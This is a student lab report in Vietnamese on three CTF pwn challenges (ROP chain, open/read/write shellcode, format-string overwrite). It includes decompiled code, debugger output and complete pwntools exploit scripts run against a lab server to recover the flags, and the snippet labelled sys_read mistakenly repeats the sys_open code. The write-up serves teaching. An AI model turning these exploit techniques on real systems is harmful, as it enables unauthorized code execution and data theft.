

# BÁO CÁO THỰC HÀNH

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Tên chủ đề: CTF

GVHD: Nguyễn Hữu Quyền

**Nhóm: 09**

## 1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT521.011.ANTT.1

STT	Họ và tên	MSSV	Email
1	Nguyễn Thị Hồng Lam	20521518	20521518@gm.uit.edu.vn
2	Nguyễn Triệu Thiên Bảo	21520155	21520155@gm.uit.edu.vn
3	Trần Lê Minh Ngọc	21521195	21521195@gm.uit.edu.vn
4	Huỳnh Minh Khuê	21522240	21522240@gm.uit.edu.vn

## 2. NỘI DUNG THỰC HIỆN:<sup>1</sup>

STT	Nội dung	Tình trạng	Trang
1	Yêu cầu 1	100%	2 – 8
2	Yêu cầu 2	100%	8 – 11
3	Yêu cầu 3	100%	11 – 13
4	Yêu cầu 4	0%	
Điểm tự đánh giá			8.5/10

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

<sup>1</sup> Ghi nội dung công việc, các kịch bản trong bài Thực hành

# BÁO CÁO CHI TIẾT

## 1. Stack\_architect

Dùng IDAPro để dịch ngược các hàm sau:  
Hàm main.

```
/* __x86.get_pc_thunk.bx */
void __x86_get_pc_thunk_bx();

void sub_80490F0(int32_t a1, int24_t a2);

int32_t g804c03c = -1;

void sub_80490D0(signed char a1);

void sub_80490B0(void* a1);

int32_t func_8049338() {
    int32_t ebx1;
    int32_t ebx2;

    __asm__("sti");
    __x86_get_pc_thunk_bx();
    ebx1 = ebx2 + 0x2cba;
    sub_80490F0((int32_t)(ebx1 + -8), 0x200);
    sub_80490F0((int32_t)(ebx1 + -4), 0x200);
    if (g804c03c != 0) {
        sub_80490D0(0);
    }
    sub_80490B0((int32_t)"intrinsic" - 2 - 4 + -84);
    ++g804c03c;
    return 0;
}
```

Hàm win.

```
/* __x86_get_pc_thunk.ax */
int32_t __x86_get_pc_thunk_ax();

int32_t g804c030 = -1;

int32_t g804c038 = -1;

int32_t g804c034 = -1;

void sub_80490C0(void* a1, int32_t a2, int32_t a3);

void func_8049218() {
    void* ebp1;
    int32_t eax2;
    void* v3;
    int32_t ebx4;
    int32_t v5;
    int32_t v6;

    __asm__("sti ");
    ebp1 = (void*)((int32_t)"intrinsic" - 2 - 4);
    eax2 = __x86_get_pc_thunk_ax();
    if (g804c030 != 0 && (g804c038 != 0 && g804c034 != 0)) {
        v3 = (void*)0;
        while ((int32_t)v3 <= 6) {
            ebx4 = 42 + 5;
            *((signed char*)((int32_t)v3 + ((int32_t)ebp1 + -16))) = *((signed char*)&ebx4;
            v3 = (void*)((int32_t)v3 + 1);
        }
        sub_80490C0((int32_t)ebp1 + -16, v5, v6);
    }
    return;
}
```

## Hàm Func1

```
/* __x86.get_pc_thunk.bx */
void __x86_get_pc_thunk_bx();

int32_t g804c030 = -1;

int32_t g804c038 = -1;

int32_t sub_80490A0(void* a1, int32_t a2);

void func_80492a0() {
    int32_t v1;
    int32_t ebx2;
    int32_t eax3;

    __asm__("sti");
    __x86_get_pc_thunk_bx();
    if (g804c030 != 0 && v1 == 0x20010508) {
        g804c038 = 1;
    }
    eax3 = sub_80490A0((int32_t)"intrinsic"() - 2 - 4 + -84, ebx2 + 0x2d52 + 0xffffe008);
    if (eax3 == 0) {
        g804c030 = 1;
    }
    return;
}
```

## Hàm Func2

```
/* __x86.get_pc_thunk.ax */
int32_t __x86_get_pc_thunk_ax();

int32_t g804c038 = -1;

int32_t g804c034 = -1;

void func_8049300() {
    int32_t eax1;
    int32_t v2;

    __asm__("sti");
    eax1 = __x86_get_pc_thunk_ax();
    if (g804c038 != 0 && v2 == 0x8052001) {
        g804c034 = 1;
    }
    return;
}
```

Dùng lệnh checksec ta thấy chế độ NX đang được bật nên không thể sử dụng shellcode.

```
pwndbg> checksec
[*] '/home/ubuntu/stack_architect'
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
```

Mã assembly của hàm main.

```
pwndbg> disassemble main
Dump of assembler code for function main:
0x08049336 <+0>:    endbr32
0x0804933a <+4>:    push    ebp
0x0804933b <+5>:    mov     ebp,esp
0x0804933d <+7>:    push    ebx
0x0804933e <+8>:    sub     esp,0x50
0x08049341 <+11>:   call    0x8049150 <__x86.get_pc_thunk.bx>
0x08049346 <+16>:   add     ebx,0x2cba
0x0804934c <+22>:   mov     eax,DWORD PTR [ebx-0x8]
0x08049352 <+28>:   mov     eax,DWORD PTR [eax]
0x08049354 <+30>:   push    0x0
0x08049356 <+32>:   push    0x2
0x08049358 <+34>:   push    0x0
0x0804935a <+36>:   push    eax
0x0804935b <+37>:   call    0x80490f0 <setvbuf@plt>
0x08049360 <+42>:   add     esp,0x10
0x08049363 <+45>:   mov     eax,DWORD PTR [ebx-0x4]
0x08049369 <+51>:   mov     eax,DWORD PTR [eax]
0x0804936b <+53>:   push    0x0
0x0804936d <+55>:   push    0x2
0x0804936f <+57>:   push    0x0
0x08049371 <+59>:   push    eax
0x08049372 <+60>:   call    0x80490f0 <setvbuf@plt>
```

```

0x08049360 <+42>: add    esp,0x10
0x08049363 <+45>: mov    eax,DWORD PTR [ebx-0x4]
0x08049369 <+51>: mov    eax,DWORD PTR [eax]
0x0804936b <+53>: push   0x0
0x0804936d <+55>: push   0x2
0x0804936f <+57>: push   0x0
0x08049371 <+59>: push   eax
0x08049372 <+60>: call   0x80490f0 <setvbuf@plt>
0x08049377 <+65>: add    esp,0x10
0x0804937a <+68>: mov    eax,0x804c03c
0x08049380 <+74>: mov    eax,DWORD PTR [eax]
0x08049382 <+76>: test   eax,eax
0x08049384 <+78>: je     0x804938d <main+87>
0x08049386 <+80>: push   0x0
0x08049388 <+82>: call   0x80490d0 <exit@plt>
0x0804938d <+87>: lea    eax,[ebp-0x54]
0x08049390 <+90>: push   eax
0x08049391 <+91>: call   0x80490b0 <gets@plt>
0x08049396 <+96>: add    esp,0x4
0x08049399 <+99>: mov    eax,0x804c03c
0x0804939f <+105>: mov    eax,DWORD PTR [eax]
0x080493a1 <+107>: lea    edx,[eax+0x1]
0x080493a4 <+110>: mov    eax,0x804c03c
0x080493aa <+116>: mov    DWORD PTR [eax],edx
0x080493ac <+118>: mov    eax,0x0

```

Đặt breakpoint tại các hàm func1, func2 và win để lấy địa chỉ của các hàm này.

```

pwndbg> p func1
$2 = {<text variable, no debug info>} 0x804929e <func1>
pwndbg> p func2
$3 = {<text variable, no debug info>} 0x80492fe <func2>
pwndbg> p win
$4 = {<text variable, no debug info>} 0x8049216 <win>
pwndbg> █

```

Sử dụng ROPgadget để kiểm tra xem có pop|ret nào không. Có thể thấy có 2 lệnh có thể sử dụng được:

0x08049423 : pop ebp ; ret

0x08049022 : pop ebx ; ret

Vì ebp là thanh ghi quan trọng nên ta sẽ không sử dụng nó vì vậy ta sẽ lấy lệnh thứ 2 (địa chỉ 0x08049022).

```
ubuntu@s8915f66-vm:~$ ROPgadget --binary stack_architect --only 'pop|ret'
Gadgets information
=====
0x08049423 : pop ebp ; ret
0x08049420 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08049022 : pop ebx ; ret
0x08049422 : pop edi ; pop ebp ; ret
0x08049421 : pop esi ; pop edi ; pop ebp ; ret
0x0804900e : ret
0x08049272 : ret 0x8905
0x0804923a : ret 0xc030
0x08049252 : ret 0xc034
0x08049246 : ret 0xc038
0x080491ab : ret 0xe8c1
0x0804906a : ret 0xffff

Unique gadgets found: 12
ubuntu@s8915f66-vm:~$
```

Tổng kết được ta có các địa chỉ sau đây:

Địa chỉ win = 0x08049216

Địa chỉ func1 = 0x0804929e

Địa chỉ func2 = 0x080492fe

Địa chỉ pop|ret = 0x08049022

Sau khi phân tích mã assembly, tạo file exploit để thực hiện khai thác.

```
GNU nano 4.8 exploit_stack_architect.py
from pwn import *

p = remote('10.81.0.7', 14004) # change to correct IP and port

# prepare payload to send to vulnerable file

payload = b'AAAA' + b'I\'m sorry, don\'t leave me, I want you here with me ~~'
payload += b'\x00'*27
payload += p32(0x08052001)
payload += p32(0x0804929e)
payload += p32(0x0804929e)
payload += p32(0x08049022)
payload += p32(0x20010508)
payload += p32(0x080492fe)
payload += p32(0x080492fe)
payload += p32(0x08049216)

# send payload

p.sendline(payload)

p.interactive()
```

Kết quả khai thác được.

```

ubuntu@s8915f66-vm:~$ python3 exploit_stack_architect.py
[+] Opening connection to 10.81.0.7 on port 14004: Done
[*] Switching to interactive mode
$ ls
flag.txt
stack_architect
$ cat flag.txt
W1{neu_ban_chinh_phuc_duoc_chinh_minh_ban_co_the_chinh_phuc_duoc_the_gioi}
$
[*] Interrupted
[*] Closed connection to 10.81.0.7 port 14004
ubuntu@s8915f66-vm:~$ █

```

W1{neu\_ban\_chinh\_phuc\_duoc\_chinh\_minh\_ban\_co\_the\_chinh\_phuc\_duoc\_the\_gioi}

## 2. Shellcode

Sử dụng pdb để xem chương trình shellcode.

```

ubuntu@s8915f66-vm:~$ gdb shellcode
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 152 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list
.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from shellcode...
(No debugging symbols found in shellcode)
----- tip of the day (disable with set show-tips off) -----
heap_config shows heap related configuration
pwndbg> █

```

Dùng lệnh checksec ta có thể thấy chế độ bảo vệ NX đang không được tìm thấy nên có thể thực hiện khai thác shellcode.

```

pwndbg> checksec
[*] '/home/ubuntu/shellcode'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments

```



Dùng IDAPro để xem hàm main.

```
.text:00000000000012B5 main proc near ; DATA XREF: _start+21To
.text:00000000000012B5 rep nop edx |
.text:00000000000012B9 push rbp
.text:00000000000012BA mov rbp, rsp
.text:00000000000012BD sub rsp, 140h
.text:00000000000012C4 mov rax, fs:28h
.text:00000000000012CD mov [rbp-8], rax
.text:00000000000012D1 xor eax, eax
.text:00000000000012D3 mov rax, cs:stdin@@GLIBC_2_2_5
.text:00000000000012DA mov ecx, 0
.text:00000000000012DF mov edx, 2
.text:00000000000012E4 mov esi, 0
.text:00000000000012E9 mov rdi, rax
.text:00000000000012EC call sub_1100
.text:00000000000012F1 mov rax, cs:__bss_start
.text:00000000000012F8 mov ecx, 0
.text:00000000000012FD mov edx, 2
.text:0000000000001302 mov esi, 0
.text:0000000000001307 mov rdi, rax
.text:000000000000130A call sub_1100
.text:000000000000130F lea rdi, aUseOpenReadWri ; "Use open, read, write to get flag, flag"...
```

Có một dòng ghi như sau: “flag is in PhaPhaKhongCoDon.txt” nên ta sẽ tiến hành khai thác file PhaPhaKhongCoDon.txt

```
.rodata:0000000000002008 aUseOpenReadWri db 'Use open, read, write to get flag, flag is in PhaPhaKhongCoDon.tx'
.rodata:0000000000002008 ; DATA XREF: main+5Afo
```

Sử dụng thư viện pwn để chuyển file PhaPhaKhongCoDon.txt thành chuỗi số nguyên 64 bit. Mỗi kí tự là 1 byte nên khi chuyển đổi cần tách cụm từ “PhaPhaKhongCoDon.txt” thành 3 phần, mỗi phần 8 byte.

```
ubuntu@s8915f66-vm:~$ python3
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> u64(b'.txt\0\0\0\0')
1954051118
>>> u64(b'PhaPhaKh')
7515207503850858576
>>> u64(b'ongCoDon')
7957654311249866351
>>> █
```

Đoạn mã dùng để gọi hàm sys\_open của hệ thống Linux x86-64 để mở tệp.

```
payload += asm('mov rax, 0x2')
payload += asm('mov rdi, rsp')
payload += asm('xor rsi, rsi')
payload += asm('xor rdx, rdx')
payload += asm('syscall')
```

Đoạn mã dùng để gọi hàm sys\_read để đọc dữ liệu.

```
payload += asm('mov rax, 0x2')
payload += asm('mov rdi, rsp')
payload += asm('xor rsi, rsi')
payload += asm('xor rdx, rdx')
payload += asm('syscall')
```

Đoạn mã dùng để gọi hàm sys\_write để in dữ liệu ra màn hình.

```
payload += asm('mov rcx, rax')
payload += asm('mov rax, 0x1')
payload += asm('mov rdi, 0x1')
payload += asm('mov rsi, rsp')
payload += asm('mov rdx, rcx')
payload += asm('syscall')
```

Tạo file exploit để khai thác chương trình.

```
GNU nano 4.8 exploit_shellcode.py
from pwn import *
p = remote('10.81.0.7', 14003) # change to correct IP and port
# prepare payload to send to vulnerable file
context.clear(arch='amd64', os='linux')
# file PhaPhaKhongCoDon.txt
payload = asm('mov rax, 1954051118')
payload += asm('push rax')
payload += asm('mov rax, 7957654311249866351')
payload += asm('push rax')
payload += asm('mov rax, 7515207503850858576')
payload += asm('push rax')
# call sys_open
payload += asm('mov rax, 0x2')
payload += asm('mov rdi, rsp')
payload += asm('xor rsi, rsi')
payload += asm('xor rdx, rdx')
payload += asm('syscall')
# call sys_read
payload += asm('mov rcx, rax')
payload += asm('xor rax, rax')
payload += asm('mov rdi, rcx')
payload += asm('mov rsi, rsp')
payload += asm('mov rdx, 0x50')
payload += asm('syscall')
# call sys_write
payload += asm('mov rcx, rax')
payload += asm('mov rax, 0x1')
payload += asm('mov rdi, 0x1')
payload += asm('mov rsi, rsp')
payload += asm('mov rdx, rcx')
payload += asm('syscall')
# send payload
p.sendline(payload)
p.interactive()
```

Kết quả thực thi chương trình.

```
ubuntu@s8915f66-vm:~$ python3 exploit_shellcode.py
[+] Opening connection to 10.81.0.7 on port 14003: Done
[*] Switching to interactive mode
Use open, read, write to get flag, flag is in PhaPhaKhongCoDon.txt
W1{ve_so_sang_mua_chieu_xo_em_nghi_anh_la_ai_ma_sang_cua_chieu_do}
[*] Got EOF while reading in interactive
$
```

W1{ve\_so\_sang\_mua\_chieu\_xo\_em\_nghi\_anh\_la\_ai\_ma\_sang\_cua\_chieu\_do}

### 3. Autofmt

Dùng IDAPro để xem mã dịch ngược của hàm main.

```
__asm__("cli");
rbp1 = (void*)((int64_t)"intrinsic" - 8);
sub_1140(g4020, 0, 2, 0);
sub_1140(g4010, 0, 2, 0);
rax2 = sub_1150("/dev/urandom", "rb", 2, 0);
v3 = rax2;
sub_10E0((int64_t)rbp1 + 0xffffffff18, 8, 1, v3);
rcx4 = v3;
sub_10E0((int64_t)rbp1 + 0xffffffff20, 8, 1, rcx4);
sub_10F0(v3, 8, 1, rcx4);
sub_10D0("Use format string to overwrite 2 value of a and b", 8, 1, rcx4);
sub_1120("a = %llu\nb = %llu\na address: %p\n", v5, v6, 0x4038);
rdx7 = g4020;
sub_1130((int64_t)rbp1 + 0xffffffff30, 0xc8, rdx7, 0x4038);
rdi8 = (void*)((int64_t)rbp1 + 0xffffffff30);
sub_1120(rdi8, 0xc8, rdx7, 0x4038);
if (g4038 == v9 && g4030 == v10) {
    rdi8 = (void*)"/bin/sh";
    sub_1110("/bin/sh", 0xc8);
}
*(int32_t*)&rax11 = 0;
*((int32_t*)&rax11 + 1) = 0;
if ((g28 ^ g28) != 0) {
    rax11 = sub_1100(rdi8, 0xc8);
}
return rax11;
}
```

Ta thấy có 2 biến được sử dụng để gọi shell. (g4038 tương ứng với biến a và g4030 tương ứng với biến b). Vì vậy việc cần làm là ghi đè 2 biến a và b để thực hiện gọi shell.

```
if (g4038 == v9 && g4030 == v10) {
    rdi8 = (void*)"/bin/sh";
    sub_1110("/bin/sh", 0xc8);
}
```

Dùng lệnh checksec ta có thể thấy tất cả các chế độ đều đang được bật.

```

pwndbg> checksec
[*] Checking for new versions of pwntools
  To disable this functionality, set the contents of /home/huynhminhkhue/.cache/.pwntools-cache-3.1
  0/update to 'never' (old way).
  Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
    [update]
    interval=never
[*] A newer version of pwntools is available on pypi (4.11.0 --> 4.11.1).
  Update with: $ pip install -U pwntools
[*] '/home/huynhminhkhue/Downloads/autofmt/autofmt/autofmt'
  Arch:      amd64-64-little
  RELRO:     Full RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled

```

Disassemble hàm main ta thấy biến a và biến b đang cách nhau 0x8 (0x4038 - 0x4030 = 0x8)

```

0x00000000000001376 <+301>:  mov     rdx,QWORD PTR [rip±0x2cbb]      # 0x4038 <a>
0x0000000000000137d <+308>:  mov     rax,QWORD PTR [rbp-0xe8]
0x00000000000001384 <+315>:  cmp     rdx,rax
0x00000000000001387 <+318>:  jne     0x13a8 <main+351>
0x00000000000001389 <+320>:  mov     rdx,QWORD PTR [rip±0x2ca0]      # 0x4030 <b>

```

Trong phần này ta sẽ khai thác lỗ hổng theo format string. Dùng lệnh python3 -c "print('%p' \* 20)" để kiểm tra thử 20 giá trị tại các địa chỉ liên tiếp kể từ khi thực thi chương trình autofmt.

```

huynhminhkhue@huynhminhkhue-virtual-machine:~/Downloads/autofmt/autofmt$ python3 -c "print('%p' * 20)" | ./autofmt
Use format string to overwrite 2 value of a and b
a = 17324420806490788575
b = 13331523217361149449
a address: 0x5555555558038
0x7ffff7e19b23 0xfbad208b 0x7ffff7d145f2 (nil) (nil) (nil) 0xf06cb4ef4e4512df 0xb90315bb95af1e09 0x55555555592a0 0x2070252020702520 0x2070252020702520
0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520
0xa

```

Ta có thể thấy, kể từ vị trí thứ 10 trong chuỗi địa chỉ nhập vào, các địa chỉ sau đó đều lặp lại giống hệt nhau. Vì vậy các giá trị của a và b chỉ chiếm đến vị trí thứ 9 nên khi khai thác chúng ta sẽ ghi đè từ vị trí thứ 10 trở đi.

Tạo file exploit.

Ta sẽ lấy giá trị và địa chỉ của a và b khi chạy file autofmt và sau đó ghi vào biến tạm ở dạng payload 64 theo dạng: "Địa chỉ: giá trị tương ứng". VD: aValue = 0x123456.

```

aValue = int(p.recvline()[4:-1])
bValue = int(p.recvline()[4:-1])
aAddr = int(p.recvline()[11:-1], 16)
bAddr = aAddr - 8

```

```

log.info(f'a Value: {hex(aValue)}')
log.info(f'b Value: {hex(bValue)}')
log.info(f'a address: {hex(aAddr)}')
log.info(f'b address: {hex(bAddr)}')

```

```
writes = {aAddr: p64(aValue), bAddr: p64(bValue)}
```

Sau đó tạo payload ở với hàm fmtstr\_payload. (Trong thư viện pwntools của Python, fmtstr\_payload là một hàm được sử dụng để tạo ra chuỗi định dạng (format string)). Với hàm này ta sẽ chọn được vị trí đè payload (vị trí thứ 10 như đã tìm được ở trên) với biến tạm ở dạng payload 64 ta vừa tạo ở trên. Cuối cùng ta thực hiện truyền payload để gọi shell

```
payload = fmtstr_payload(10, writes, write_size='short')
print(payload)
```

```
# send payload
p.sendline(payload)
p.interactive()
```

```
GNU nano 4.8 exploit autofmt.py
from pwn import *
p = remote('10.81.0.7', 14001) # change to correct IP and port
p.recvline()
context.clear(arch='amd64')

aValue = int(p.recvline()[4:-1])
bValue = int(p.recvline()[4:-1])
aAddr = int(p.recvline()[11:-1], 16)
bAddr = aAddr - 8

log.info(f'a Value: {hex(aValue)}')
log.info(f'b Value: {hex(bValue)}')
log.info(f'a address: {hex(aAddr)}')
log.info(f'b address: {hex(bAddr)}')

writes = {aAddr: p64(aValue), bAddr: p64(bValue)}
payload = fmtstr_payload(10, writes, write_size='short')
print(payload)

# send payload
p.sendline(payload)
p.interactive()
```

Kết quả thực thi file exploit.

```
ubuntu@s8915f66-vm:~$ python3 exploit_autofmt.py
[+] Opening connection to 10.81.0.7 on port 14001: Done
[*] a Value: 0xa13914c03dd6a796
[*] b Value: 0xf3bb975ac570f8c2
[*] a address: 0x557d90179038
[*] b address: 0x557d90179030
b'%5312c%23$hn%10518c%24$hn%22916c%25$hn%2527c%26$hn%1629c%27$hn%7642c%28$hn%11851c%29$hn%1287c%30$hnaaaab<
\x90\x17\x90}U\x00\x00:\x90\x17\x90}U\x00\x004\x90\x17\x90}U\x00\x00>\x90\x17\x90}U\x00\x008\x90\x17\x90}U
x00\x002\x90\x17\x90}U\x00\x006\x90\x17\x90}U\x00\x000\x90\x17\x90}U\x00\x00'
[*] Switching to interactive mode
autofmt
flag.txt
$ cat flag.txt
W1{do_cac_ban_tren_the_gian_nay_khoang_cach_nao_la_xa_nhat}
$
```

W1{do\_cac\_ban\_tren\_the\_gian\_nay\_khoang\_cach\_nao\_la\_xa\_nhat}